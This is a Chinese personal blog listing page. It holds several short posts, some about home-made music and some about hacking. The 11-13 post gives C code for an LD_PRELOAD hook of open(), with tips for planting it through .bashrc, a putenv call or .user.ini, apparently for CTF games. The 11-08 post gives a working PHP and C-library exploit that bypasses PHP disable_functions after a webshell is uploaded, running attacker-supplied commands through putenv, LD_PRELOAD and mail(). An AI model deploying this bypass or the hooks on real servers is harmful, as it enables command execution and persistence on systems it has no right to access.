2019-11-13 | 随便写的什么奇怪的东西,技术文章
详情看上一篇方法,突然想到一个神奇的用法。
/*
how to use:
gcc -fpic -c -ldl hook.c
gcc -shared -lc -o hook.so hook.o
export LD_PRELOAD=./hook.so
export LD_PRELOAD=NULL; //卸载库
*/
#include<stdio.h>
char* flag_path = "/flag";
extern int __open(char *,int,int);
int open(char * path,int flags,int mode)
{
//printf("open :%s\n",path);
if (strcmp(path,flag_path) == 0){
// 在这里你甚至能加入什么东西,比如
// sleep(2000000000);
// 或者是
// return __open(fake_flag_path,flags,mode);
return -1;
}
return __open(path,flags,mode);
}
如果在双方都是低权并且是批量的话,一般没有点意识的都不会注意到环境变量的事情。
只要在本用户的和www用户的~/.bashrc设置LD_PRELOAD。或者在php环境中的config.php,加入waf的同时同时加入一句
<?php putenv("LD_PRELOAD=xxxxx"); ?>
就行啦。
如果实在没有config.php这种所有东西都会访问的文件的话,可以手工构造一个.user.ini
然后写入
auto_prepend_file=包含上面哪个代码或者你的waf的地址
这样所有的文件都会自动包含啦。
顺带附上一个文件夹监控的脚本,用pyinotify实现的。
脚本地址:file_manage.rar
当然一般情况下,基本是没有pyinotify环境的,所以这时候两个办法,下载源码安装或者编译两份出来。
源码地址:PyInstaller-3.5.tar.zip
或者是自己编译:
x86版本:file_manage.x86.zip
x64版本:file_manage.x64.zip
2019-11-08 | 黑科技,技术文章

当你插入webshell的时候,就会遇上这个问题,php.ini中,把能执行命令的函数(例如system)等,都禁掉了怎么办呢?
这时候,就可以参考之前那个
新坑预定:linux下的进程/文件隐藏
中,使用了LD_PRELOAD 环境变量。这个变量名字在当时说的很清楚了
设置了这个环境变量后,linux会优先加载这个环境变量下的动态链接库程序。
那么理论上,我们只需要找到一个会调用库函数的php内置方法,然后再上传我们的so文件,劫持这个库文件添加到LD_PRELOAD全局变量中,那么系统就会自动帮我们调用我们的so文件达到getshell的效果了。
然而前提是,你的disable_function没有禁putenv这个函数,否则以上都是空话了。
使用例子,putenv+mail函数
<?php
$cmd = $_POST['cmd'];
putenv("EVIL_CMDLINE=" . $cmd);
$so_path = $_POST['so'];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
unlink($out_path);
?>
以及对应的so文件:reinstall.rar
代码如下:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
其实知晓原理我们自己编写一份也挺简单的,先找到目标函数,去github/各种地方找到函数的原型,因为这次我们不是要HOOK而是直接getshell,原功能可以废弃,所以可以直接把内部实现方法掏空,替换成我们需要执行命令的代码,只需要请求参数和返回参数相同,不让程序崩溃,那么效果就可以达到了。详情可以参考我上面给出的那个连接
2019-11-07 | 随便写的什么奇怪的东西
10s真男人,然后我憋不出来了。
嗯,那个结尾成功把我自己封印。
不知道算不算jazz
伪jazz.mp3
Tags: none
2019-09-03 | 随便写的什么奇怪的东西
音乐地址在这里:dance.mp3
怎么说呢,虽然说旋律能自己随便编,甚至口哨天天都哼来哼去,但是完整的起承转合或者带有明显节奏型和鼓点的音乐却没怎么尝试过,原因不亚于中途自己听不下去了hhhh
今天上完管乐课回来,闲着无聊,正好就花了一点时间,试着写了下。
按照节奏来算,应该算舞曲+中国风吧?因为用的是Dance Loop加名族调式和FGEmAm万用和弦。
目前缺点有两个,过于单调和过场太过僵硬。整体透露出了一个字,憨!
旋律过于单调,很多时候脑袋里想着的旋律但是就是突然记不起来了,要整德时候就记不起来,或者想不出来,再或者就是自己技术太差,配不上对应德节奏型,达不到理想的效果,然后就果断德删工程了hhhhh
同时开头和结束是中间写完之后,哎呀,才忘了没有开头和结尾,就自己直接用一个自己乱写的solo当转场和结尾,憨批的不行hhh
然后结尾因为不知道啥问题,没录好,不过差不多这样吧_(:з)∠)_
本来是打算加个转调的,但是舍友都要睡觉了。今天就先瞎JB写到这里吧。
以及鼓点实在是写不来,整段鼓点一成不变,实在听不来。
不过第一次整出一个勉强能听的“完整的曲子”,还是很开心的
2019-08-29 | 随便写的什么奇怪的东西,技术文章
2019-08-23 | 黑科技
标题用了几个看起来很酷炫的外来词汇,实际上就是个自修改+一个物理设备攻击而已emmmm
说起来明明用英文更帅一些为啥我用的是中文呢(谁叫我英语差hhhhh
灵感源自于非常早以前的文件夹exe病毒。之前也写过,但是并没有在意,因为那是14年左右我还没有理解过真正的内网同时小看了物理设备的威力。
开始挖坑,希望开学之前能填完
Tags: none
- «
- 1
- ...
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- ...
- 34
- »
文章总数:200篇 分类总数:4个